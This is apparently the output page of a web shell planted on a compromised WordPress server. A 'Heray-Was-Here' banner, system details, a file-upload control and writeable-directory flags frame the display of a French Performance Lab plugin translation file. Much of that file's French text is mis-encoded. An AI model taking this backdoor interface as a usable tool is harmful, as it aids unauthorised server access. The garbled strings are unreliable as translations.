Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/languages/plugins/performance-lab-fr_FR.po
# Translation of Plugins - Performance Lab - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - Performance Lab - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-06-02 11:55:55+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: fr\n"
"Project-Id-Version: Plugins - Performance Lab - Stable (latest release)\n"

#: includes/site-health/effective-asset-cache-headers/hooks.php:26
msgid "Effective Caching Headers"
msgstr "EntĂȘtes de cache efficaces"

#: includes/site-health/effective-asset-cache-headers/helper.php:317
msgid "Status"
msgstr "État"

#: includes/site-health/effective-asset-cache-headers/helper.php:316
msgid "File"
msgstr "Fichier"

#. translators: 1: actual Expires header value in seconds, 2: threshold in
#. seconds
#: includes/site-health/effective-asset-cache-headers/helper.php:236
msgid "expires below threshold (actual: %1$s seconds, threshold: %2$s seconds)"
msgstr "expire sous le seuil (actuellement %1$s secondes, seuil : %2$s secondes)"

#. translators: 1: actual max-age value in seconds, 2: threshold in seconds
#: includes/site-health/effective-asset-cache-headers/helper.php:225
#: includes/site-health/effective-asset-cache-headers/helper.php:257
msgid "max-age below threshold (actual: %1$s seconds, threshold: %2$s seconds)"
msgstr "ùge maximal sous le seuil (actuellement %1$s secondes, seuil : %2$s secondes)"

#: includes/site-health/effective-asset-cache-headers/helper.php:144
msgid "No effective caching headers but conditionally cached"
msgstr "Aucun entĂȘte de mise en cache efficace mais mise en cache conditionnelle"

#: includes/site-health/effective-asset-cache-headers/helper.php:139
msgid "No effective caching headers and no conditional caching"
msgstr "Aucun entĂȘte de mise en cache et aucune mise en cache conditionnelle"

#: includes/site-health/effective-asset-cache-headers/helper.php:120
msgid "No valid headers retrieved"
msgstr "Aucun entĂȘte valide rĂ©cupĂ©rĂ©"

#: includes/site-health/effective-asset-cache-headers/helper.php:109
msgid "Could not retrieve headers"
msgstr "Impossible de rĂ©cupĂ©rer les en-tĂȘtes"

#: includes/site-health/effective-asset-cache-headers/helper.php:77
msgid "Effective Cache-Control or Expires headers can be added or adjusted with a small configuration change by your hosting provider."
msgstr "Les entĂȘtes efficaces Cache-Control et Expires peuvent ĂȘtre ajoutĂ©s ou ajustĂ©s avec une simple modification de la configuration par votre fournisseur d’hĂ©bergement."

#: includes/site-health/effective-asset-cache-headers/helper.php:72
msgid "Note: \"Conditionally cached\" means that the browser can re-validate the resource using ETag or Last-Modified headers. This results in fewer full downloads but still requires the browser to make requests, unlike far-future expiration headers that allow the browser to fully rely on its local cache for a longer duration."
msgstr "Note : « Mise en cache conditionnelle » signifie que les navigateurs peuvent re-valider la ressource en utilisant ETag ou les entĂȘtes Last-Modified. Cela gĂ©nĂšre moins de tĂ©lĂ©chargements mais le navigateur doit toujours faire des requĂȘtes, contrairement aux entĂȘtes far-future qui permettent au navigateur de se reposer complĂštement sur son cache local pour une durĂ©e plus longue."

#: includes/site-health/effective-asset-cache-headers/helper.php:70
msgid "The following file types do not have the recommended effective Cache-Control or Expires headers. Consider adding or adjusting Cache-Control or Expires headers for these asset types."
msgstr "Les types de fichier suivants n’ont pas les entĂȘtes recommandĂ©s de ContrĂŽle de Cache ou d’Expiration. ConsidĂ©rez l’ajout ou l’ajustement des entĂȘtes de ContrĂŽle de Cache ou d’Expiration pour ces types d’élĂ©ments."

#: includes/site-health/effective-asset-cache-headers/helper.php:65
msgid "Your site does not serve static assets with an effective caching strategy"
msgstr "Votre site ne sert pas de contenu statique avec une stratégie de mise en cache efficace."

#: includes/site-health/effective-asset-cache-headers/helper.php:25
msgid "Your site serves static assets with an effective caching strategy"
msgstr "Votre site sert des contenus statiques avec une stratégie de mise en cache efficace."

#: includes/site-health/bfcache-compatibility-headers/hooks.php:26
msgid "Cache-Control headers may prevent fast back/forward navigation"
msgstr "Les entĂȘtes Cache-Control peuvent empĂȘcher la navigation rapide prĂ©cĂ©dent/suivant."

#. translators: 1: Cache-Control, 2: no-store
#: includes/site-health/bfcache-compatibility-headers/helper.php:76
msgid "The %1$s response header for an unauthenticated request to the home page includes the %2$s directive. This can affect the performance of your site by preventing fast back/forward navigations (via the browser's bfcache)."
msgstr "L’entĂȘte de rĂ©ponse %1$s pour une requĂȘte non authentifiĂ©e vers la page d’accueil inclut la directive %2$s. Ceci peut affecter la performance de votre site en empĂȘchant les navigations rapides PrĂ©cĂ©dent/Suivant (via le bfcache du navigateur)."

#: includes/site-health/bfcache-compatibility-headers/helper.php:70
msgid "The Cache-Control page header is preventing fast back/forward navigations"
msgstr "L’entĂȘte de page Cache-Control empĂȘche les navigations rapides prĂ©cĂ©dent/suivant."

#. translators: 1: the error code, 2: the error message
#: includes/site-health/bfcache-compatibility-headers/helper.php:53
msgid "The unauthenticated request to check the <code>Cache-Control</code> response header for the home page resulted in an error with code <code>%1$s</code> and the following message: %2$s."
msgstr "La requĂȘte non authentifiĂ©e pour vĂ©rifier l’entĂȘte de rĂ©ponse <code>Cache-Control</code> de la page d’accueil a renvoyĂ© une erreur avec le code <code>%1$s</code> et le message suivant : %2$s."

#: includes/site-health/bfcache-compatibility-headers/helper.php:48
msgid "Unable to check whether the Cache-Control page header is compatible with fast back/forward navigations"
msgstr "Impossible de vĂ©rifier si l’entĂȘte de page Cache-Control est compatible avec les navigations rapides prĂ©cĂ©dent/suivant."

#: includes/site-health/bfcache-compatibility-headers/helper.php:32
msgid "If the <code>Cache-Control</code> page response header includes the <code>no-store</code> directive then it can prevent instant back/forward navigations (using the browser's bfcache). This is not present for unauthenticated requests on your site, so it is configured properly. Note that there are other ways that bfcache can be disabled (e.g. you have JavaScript which uses a <code>unload</code> event listener). Also note that WordPress adds this directive for logged-in page responses for privacy/security reasons."
msgstr "Si l’entĂȘte de rĂ©ponse de page <code>Cache-Control</code> inclut la directive <code>no-store</code>, cela peut empĂȘcher les navigations instantanĂ©es prĂ©cĂ©dent/suivant (qui utilisent le bfcache du navigateur). Ce n’est pas le cas pour les requĂȘtes non authentifiĂ©es sur votre site, donc c’est correctement configurĂ©. Notez qu’il existe d’autres maniĂšres de dĂ©sactiver bfcache (par exemple si vous avez du JavaScript qui Ă©coute l’évĂšnement <code>unload</code>). Notez Ă©galement que WordPress ajoute cette directive pour les rĂ©ponses de page lorsqu’on est connectĂ© pour des raisons de ConfidentialitĂ©/sĂ©curitĂ©."

#: includes/site-health/avif-headers/hooks.php:25
msgid "AVIF Headers"
msgstr "En-tĂȘtes AVIF"

#: includes/site-health/avif-headers/helper.php:24
msgid "Your site sends AVIF image headers"
msgstr "Votre site envoie des en-tĂȘtes d'images AVIF"

#: includes/admin/plugins.php:214
msgid "(installed)"
msgstr "(installé)"

#: includes/admin/plugins.php:212
msgid "(active)"
msgstr "(actif)"

#: includes/site-health/avif-support/hooks.php:25
msgid "AVIF Support"
msgstr "Prise en charge de AVIF"

#. translators: Accessibility text.
#: includes/site-health/avif-support/helper.php:46
msgid "AVIF support can only be enabled by your hosting provider, so contact them for more information."
msgstr "La prise en charge du format AVIF peut uniquement ĂȘtre activĂ©e par votre fournisseur d’hĂ©bergement, contactez-le pour plus d’informations."

#: includes/site-health/avif-support/helper.php:42
msgid "Your site does not support AVIF"
msgstr "Votre site ne prends pas en charge le format AVIF"

#: includes/site-health/avif-support/helper.php:32
msgid "The AVIF image format generally has better compression than WebP, JPEG, PNG and GIF and is designed to supersede them, which can reduce page load time and consume less bandwidth."
msgstr "Le format d’image AVIF a gĂ©nĂ©ralement une meilleure compression que les formats WebP, JPEG, PNG et GIF, il a Ă©tĂ© pensĂ© pour les remplacer, cela peut rĂ©duire le temps de chargement des pages et consomme moins de bande passante."

#: includes/site-health/avif-support/helper.php:24
msgid "Your site supports AVIF"
msgstr "Votre site prend en charge AVIF"

#: includes/admin/plugins.php:587
msgid "Visit plugin site"
msgstr "Consultez le site de l’extension"

#: includes/admin/plugins.php:221 includes/admin/plugins.php:581
msgid "https://wordpress.org/plugins/"
msgstr "https://wordpress.org/plugins/"

#. translators: %s: Plugin name.
#: includes/admin/plugins.php:579
msgid "Visit plugin site for %s"
msgstr "Consultez le site de l’extension %s"

#. translators: %s is the settings URL
#: includes/admin/load.php:420
msgid "Review <a href=\"%s\">settings</a>."
msgstr "Consultez <a href=\"%s\">les réglages</a>."

#: includes/site-health/audit-autoloaded-options/hooks.php:113
msgid "The option has been successfully updated."
msgstr "L’option a Ă©tĂ© mise Ă  jour avec succĂšs."

#: includes/site-health/audit-autoloaded-options/hooks.php:95
msgid "Failed to disable autoload."
msgstr "Échec de la dĂ©sactivation de l’autoload."

#: includes/site-health/audit-autoloaded-options/hooks.php:73
msgid "The option does not exist."
msgstr "Cette option n’existe pas."

#: includes/site-health/audit-autoloaded-options/hooks.php:67
msgid "Invalid option name."
msgstr "Nom d’option invalide."

#: includes/site-health/audit-autoloaded-options/hooks.php:63
msgid "Permission denied."
msgstr "Permission refusée."

#: includes/site-health/audit-autoloaded-options/helper.php:263
msgid "Revert to Autoload"
msgstr "Revenir Ă  Autoload"

#: includes/site-health/audit-autoloaded-options/helper.php:243
msgid "The following table shows the options for which you have previously disabled Autoload."
msgstr "Les tableaux suivants affichent les options pour lesquelles vous avez prĂ©cĂ©demment dĂ©sactivĂ© l’Autoload."

#: includes/site-health/audit-autoloaded-options/helper.php:198
msgid "Disable Autoload"
msgstr "Désactiver Autoload"

#: includes/site-health/audit-autoloaded-options/helper.php:182
#: includes/site-health/audit-autoloaded-options/helper.php:246
msgid "Action"
msgstr "Action"

#: includes/admin/plugins.php:668
msgctxt "plugin suffix"
msgid "(experimental)"
msgstr "(expérimental)"

#: includes/admin/plugins.php:573
msgid "Learn more"
msgstr "En savoir plus"

#: includes/admin/load.php:415
msgid "Feature activated."
msgstr "Fonctionnalité activée"

#: includes/admin/load.php:400
msgid "Due to your site's configuration, you may not be able to activate the performance features, unless the underlying plugin is already installed. Please install the relevant plugins manually."
msgstr "En raison de la configuration de votre site, il se peut que vous ne puissiez pas activer les fonctionnalitĂ©s de performance, Ă  moins que l’extension sous-jacents ne soit dĂ©jĂ  installĂ©e. Veuillez installer manuellement les extensions concernĂ©es."

#: includes/admin/plugins.php:447
msgid "Sorry, you are not allowed to install plugins on this site."
msgstr "DĂ©solĂ©, vous n’avez pas l’autorisation d’installer des extensions sur ce site."

#: includes/admin/load.php:306
#: includes/site-health/audit-autoloaded-options/hooks.php:56
msgid "Missing required parameter."
msgstr "ParamĂštres obligatoires manquants."

#: includes/admin/load.php:22 includes/admin/plugins.php:279
msgid "Performance Features"
msgstr "Fonctionnalités de performance"

#: includes/admin/plugins.php:645
msgid "This plugin does not work with your version of PHP."
msgstr "Cette extension ne fonctionne pas avec votre version de PHP."

#: includes/admin/plugins.php:634
msgid "This plugin does not work with your version of WordPress."
msgstr "Cette extension ne fonctionne pas avec votre version de WordPress."

#. translators: %s: URL to Update PHP page.
#: includes/admin/plugins.php:627 includes/admin/plugins.php:650
msgid "<a href=\"%s\">Learn more about updating PHP</a>."
msgstr "<a href=\"%s\">En savoir plus sur la mise Ă  jour de PHP</a>."

#. translators: %s: URL to WordPress Updates screen.
#: includes/admin/plugins.php:619 includes/admin/plugins.php:639
msgid "<a href=\"%s\">Please update WordPress</a>."
msgstr "<a href=\"%s\">Veuillez mettre Ă  jour WordPress</a>."

#. translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page.
#: includes/admin/plugins.php:609
msgid "<a href=\"%1$s\">Please update WordPress</a>, and then <a href=\"%2$s\">learn more about updating PHP</a>."
msgstr "<a href=\"%1$s\">Veuillez mettre Ă  jour WordPress</a>, puis <a href=\"%2$s\">apprenez-en plus sur la mise Ă  jour de PHP</a>."

#: includes/admin/plugins.php:604
msgid "This plugin does not work with your versions of WordPress and PHP."
msgstr "Cette extension ne fonctionne pas avec vos versions de WordPress et de PHP."

#. translators: %s: Plugin name and version.
#: includes/admin/plugins.php:571
msgid "More information about %s"
msgstr "Plus d’informations sur %s"

#: includes/admin/plugins.php:545
msgctxt "plugin"
msgid "Cannot Activate"
msgstr "Activation impossible"

#: includes/admin/plugins.php:542 includes/admin/plugin-activate-ajax.js:102
msgid "Activate"
msgstr "Activer"

#: includes/admin/plugins.php:519
msgctxt "plugin"
msgid "Active"
msgstr "Actif"

#: includes/admin/plugins.php:545
msgctxt "plugin"
msgid "Cannot Install"
msgstr "Impossible d’installer"

#: includes/admin/plugins.php:283
msgid "Plugins list"
msgstr "Liste des extensions"

#: includes/admin/load.php:311
msgid "Invalid plugin."
msgstr "Extension non valide."

#: includes/admin/rest-api.php:70
msgid "Sorry, you are not allowed to activate this feature."
msgstr "DĂ©solĂ©, vous n’avez pas l’autorisation pour activer cette fonctionnalitĂ©."

#: includes/admin/plugins.php:478
msgid "Sorry, you are not allowed to activate this plugin."
msgstr "DĂ©solĂ©, vous n'avez pas l’autorisation pour activer cette extension."

#: includes/admin/server-timing.php:264
msgid "Output buffering is needed to capture metrics after headers have been sent and while the template is being rendered. Note that output buffering may possibly cause an increase in TTFB if the response would be flushed multiple times."
msgstr "La mise en mĂ©moire tampon de la sortie est nĂ©cessaire pour capturer les mĂ©triques aprĂšs l’envoi des en-tĂȘtes et pendant que le modĂšle est rendu. Notez que la mise en mĂ©moire tampon de sortie peut Ă©ventuellement entraĂźner une augmentation du TTFB si la rĂ©ponse est vidĂ©e plusieurs fois."

#. translators: %s: perflab_server_timing_use_output_buffer
#: includes/admin/server-timing.php:256
msgid "Output buffering has been forcibly disabled via the %s filter."
msgstr "La mise en mĂ©moire tampon de la sortie a Ă©tĂ© dĂ©sactivĂ©e de force par l’intermĂ©diaire du filtre %s."

#. translators: %s: perflab_server_timing_use_output_buffer
#: includes/admin/server-timing.php:245
msgid "Output buffering has been forcibly enabled via the %s filter."
msgstr "La mise en mémoire tampon a été activée de force par l'intermédiaire du filtre %s."

#: includes/admin/server-timing.php:236
msgid "Enable output buffering of template rendering"
msgstr "Activer la mise en mémoire tampon du rendu des modÚles"

#: includes/admin/server-timing.php:199
msgid "Enter a single hook name per line."
msgstr "Saisir un seul nom de crochet par ligne."

#: includes/admin/server-timing.php:138
msgid "Filters"
msgstr "Filtres"

#: includes/admin/server-timing.php:128
msgid "Actions"
msgstr "Actions"

#. translators: 1: Server-Timing, 2: template_include, 3: anchor link
#: includes/admin/server-timing.php:103
msgid "Since the %1$s header is sent before the template is loaded, only hooks before the %2$s filter can be measured. Enable <a href=\"%3$s\">Output Buffering</a> to measure hooks during template rendering."
msgstr "Comme l'en-tĂȘte %1$s est envoyĂ©e avant que le modĂšle soit chargĂ©, seuls les crochets Ă©xĂ©cutĂ©s avant le filtre %2$s peuvent ĂȘtre mesurĂ©s. Activez <a href=\"%3$s\">la mise en mĂ©moire tampon</a> afin de mesurer les crochets pendant le rendu des modĂšles."

#: includes/admin/server-timing.php:92
msgid "For any hook name provided, the <strong>cumulative duration between all callbacks</strong> attached to the hook is measured, in milliseconds."
msgstr "Pour tout nom de crochet fourni, la <strong>durée cumulée entre tous les rappels</strong> attachés au crochet est mesurée, en millisecondes."

#. translators: %s: Server-Timing
#: includes/admin/server-timing.php:85
msgid "In this section, you can provide hook names to include measurements for them in the %s header."
msgstr "Dans cette section, vous pouvez fournir des noms de crochets pour inclure des mesures dans l'en-tĂȘte %s."

#: includes/admin/server-timing.php:77
msgid "Benchmarking"
msgstr "Analyse comparative"

#: includes/admin/server-timing.php:53
msgid "Output Buffering"
msgstr "Mise en mémoire tampon"

#: includes/admin/server-timing.php:26 includes/admin/server-timing.php:27
#: includes/admin/server-timing.php:158
msgid "Server-Timing"
msgstr "Synchronisation du serveur"

#: includes/server-timing/class-perflab-server-timing.php:147
msgid "The method must be called before headers have been sent."
msgstr "La mĂ©thode doit ĂȘtre appelĂ©e avant que les en-tĂȘtes aient Ă©tĂ© envoyĂ©s."

#. translators: %s: PHP parameter name
#: includes/server-timing/class-perflab-server-timing.php:100
msgid "The %s argument is required and must be a string."
msgstr "L’argument %s est nĂ©cessaire et doit ĂȘtre une chaine."

#. translators: %s: PHP parameter name
#: includes/server-timing/class-perflab-server-timing.php:91
msgid "The %s argument is required and must be a callable."
msgstr "L’argument %s est nĂ©cessaire et doit ĂȘtre appelĂ©."

#. translators: %s: metric slug
#: includes/server-timing/class-perflab-server-timing.php:64
msgid "A metric with the slug %s is already registered."
msgstr "Une métrique avec le slug %s est déjà enregistrée."

#. translators: %s: PHP method name
#: includes/server-timing/class-perflab-server-timing-metric.php:137
msgid "The %s method must be called before."
msgstr "La mĂ©thode %s doit ĂȘtre appellĂ©e avant."

#. translators: %s: WordPress action name
#: includes/server-timing/class-perflab-server-timing-metric.php:87
#: includes/server-timing/class-perflab-server-timing.php:74
msgid "The method must be called before or during the %s action."
msgstr "La mĂ©thode doit ĂȘtre appelĂ©e avant ou pendant l’action %s."

#. translators: %s: PHP parameter name
#: includes/server-timing/class-perflab-server-timing-metric.php:77
msgid "The %s parameter must be an integer, float, or numeric string."
msgstr "Le paramĂštre %s doit ĂȘtre un nombre entier, flottant ou une chaine numĂ©rique."

#: includes/site-health/audit-autoloaded-options/helper.php:181
#: includes/site-health/audit-autoloaded-options/helper.php:245
msgid "Size"
msgstr "Taille"

#: includes/site-health/audit-autoloaded-options/helper.php:180
#: includes/site-health/audit-autoloaded-options/helper.php:244
msgid "Option Name"
msgstr "Nom de l’option"

#. Author URI of the plugin
#: load.php
msgid "https://make.wordpress.org/performance/"
msgstr "https://make.wordpress.org/performance/"

#: includes/site-health/audit-autoloaded-options/helper.php:80
msgid "https://wordpress.org/support/article/optimization/#autoloaded-options"
msgstr "https://fr.wordpress.org/support/article/optimization/#autoloaded-options"

#: includes/site-health/webp-support/helper.php:32
msgid "The WebP image format produces images that are usually smaller in size than JPEG images, which can reduce page load time and consume less bandwidth."
msgstr "Le format d’image WebP produit des images gĂ©nĂ©ralement plus petites que les images JPEG, ce qui rĂ©duit le temps de chargement des pages et la bande passante."

#. translators: 1. Number of autoloaded options. 2. Autoloaded options size.
#: includes/site-health/audit-autoloaded-options/helper.php:63
msgid "Your site has %1$s autoloaded options (size: %2$s) in the options table, which could cause your site to be slow. You can reduce the number of autoloaded options by cleaning up your site's options table."
msgstr "Votre site contient %1$s options chargĂ©es automatiquement (taille : %2$s) dans le tableau des options, cela peut ralentir votre site. Vous pouvez rĂ©duire le nombre d’options en nettoyant le tableau des options du site."

#: includes/site-health/audit-autoloaded-options/helper.php:60
msgid "Autoloaded options could affect performance"
msgstr "Les options chargées automatiquement peuvent affecter les performances"

#. translators: 1. Number of autoloaded options. 2. Autoloaded options size.
#: includes/site-health/audit-autoloaded-options/helper.php:38
msgid "Your site has %1$s autoloaded options (size: %2$s) in the options table, which is acceptable."
msgstr "Votre site contient %1$s options chargées automatiquement (taille : %2$s) dans le tableau des options, ce qui est acceptable."

#: includes/site-health/audit-autoloaded-options/helper.php:30
msgid "Autoloaded options are acceptable"
msgstr "Les options chargées automatiquement sont acceptables"

#: includes/site-health/audit-autoloaded-options/helper.php:27
msgid "Autoloaded options are configuration settings for plugins and themes that are automatically loaded with every page load in WordPress. Having too many autoloaded options can slow down your site."
msgstr "Les options chargĂ©es automatiquement sont des rĂ©glages de configuration pour les extensions et thĂšmes qui sont chargĂ©s Ă  chaque visite de page dans WordPress. Avoir trop d’options  automatiquement chargĂ©es peut ralentir le site."

#: includes/site-health/audit-autoloaded-options/hooks.php:30
msgid "Autoloaded options"
msgstr "Options chargées automatiquement"

#: includes/site-health/webp-support/helper.php:42
msgid "Your site does not support WebP"
msgstr "Votre site ne prend pas en charge WebP"

#: includes/site-health/webp-support/helper.php:24
msgid "Your site supports WebP"
msgstr "Votre site prend en charge WebP"

#: includes/site-health/webp-support/hooks.php:25
msgid "WebP Support"
msgstr "Prise en charge de WebP"

#. translators: 1: Number of enqueued styles. 2.Styles size.
#: includes/site-health/audit-enqueued-assets/helper.php:182
msgid "Your website enqueues %1$s style (size: %2$s). Try to reduce the number or to concatenate them."
msgid_plural "Your website enqueues %1$s styles (size: %2$s). Try to reduce the number or to concatenate them."
msgstr[0] "Votre site charge %1$s feuille de styles (poids : %2$s). Essayez de réduire leur nombre ou de les concaténer."
msgstr[1] "Votre site charge %1$s feuilles de styles (poids : %2$s). Essayez de réduire leur nombre ou de les concaténer."

#. translators: 1: Number of enqueued styles. 2.Styles size.
#: includes/site-health/audit-enqueued-assets/helper.php:142
msgid "The amount of %1$s enqueued style (size: %2$s) is acceptable."
msgid_plural "The amount of %1$s enqueued styles (size: %2$s) is acceptable."
msgstr[0] "Le nombre de %1$s feuille de styles chargée (poids : %2$s) est acceptable."
msgstr[1] "Le nombre de %1$s feuilles de styles chargées (poids : %2$s) est acceptable."

#: includes/site-health/audit-enqueued-assets/helper.php:131
msgid "Enqueued styles"
msgstr "Feuilles de styles chargées"

#: includes/site-health/audit-enqueued-assets/helper.php:106
#: includes/site-health/audit-enqueued-assets/helper.php:200
msgid "Clean Test Cache"
msgstr "Nettoyer le cache de test"

#: includes/site-health/audit-autoloaded-options/helper.php:81
#: includes/site-health/audit-enqueued-assets/helper.php:104
#: includes/site-health/audit-enqueued-assets/helper.php:198
msgid "More info about performance optimization"
msgstr "En savoir plus sur l’optimisation de la performance"

#: includes/site-health/audit-enqueued-assets/helper.php:103
#: includes/site-health/audit-enqueued-assets/helper.php:197
msgid "https://wordpress.org/support/article/optimization/"
msgstr "https://fr.wordpress.org/support/article/optimization/"

#. translators: 1: Number of enqueued styles. 2.Styles size.
#: includes/site-health/audit-enqueued-assets/helper.php:88
msgid "Your website enqueues %1$s script (size: %2$s). Try to reduce the number or to concatenate them."
msgid_plural "Your website enqueues %1$s scripts (size: %2$s). Try to reduce the number or to concatenate them."
msgstr[0] "Votre site charge %1$s script (poids : %2$s). Essayez de réduire leur nombre ou de les concaténer."
msgstr[1] "Votre site charge %1$s scripts (poids : %2$s). Essayez de réduire leur nombre ou de les concaténer."

#. translators: 1: Number of enqueued styles. 2.Styles size.
#: includes/site-health/audit-enqueued-assets/helper.php:47
msgid "The amount of %1$s enqueued script (size: %2$s) is acceptable."
msgid_plural "The amount of %1$s enqueued scripts (size: %2$s) is acceptable."
msgstr[0] "Le nombre de %1$s script chargé (poids : %2$s) est acceptable."
msgstr[1] "Le nombre de %1$s scripts chargés (poids : %2$s) est acceptable."

#: includes/site-health/audit-enqueued-assets/helper.php:36
msgid "Enqueued scripts"
msgstr "Scripts chargés"

#: includes/site-health/audit-enqueued-assets/hooks.php:132
msgid "CSS assets"
msgstr "Ressources CSS"

#: includes/site-health/audit-enqueued-assets/hooks.php:128
msgid "JS assets"
msgstr "Ressources JS"

#. translators: %s is the settings URL
#: includes/admin/load.php:192 includes/admin/plugins.php:595
#: includes/admin/plugin-activate-ajax.js:87
msgid "Settings"
msgstr "Réglages"

#: includes/admin/load.php:131
msgid "Settings > Performance"
msgstr "Réglages > Performance"

#: includes/admin/load.php:23
#: includes/site-health/audit-autoloaded-options/helper.php:33
#: includes/site-health/audit-enqueued-assets/helper.php:39
#: includes/site-health/audit-enqueued-assets/helper.php:134
#: includes/site-health/avif-headers/helper.php:27
#: includes/site-health/avif-support/helper.php:27
#: includes/site-health/bfcache-compatibility-headers/helper.php:28
#: includes/site-health/effective-asset-cache-headers/helper.php:28
#: includes/site-health/webp-support/helper.php:27
msgid "Performance"
msgstr "Performance"

#. Author of the plugin
#: load.php
msgid "WordPress Performance Team"
msgstr "WordPress Performance Team"

#. Plugin URI of the plugin
#: load.php
msgid "https://github.com/WordPress/performance"
msgstr "https://github.com/WordPress/performance"

#. Plugin Name of the plugin
#: load.php includes/admin/load.php:125
msgid "Performance Lab"
msgstr "Performance Lab"

Hry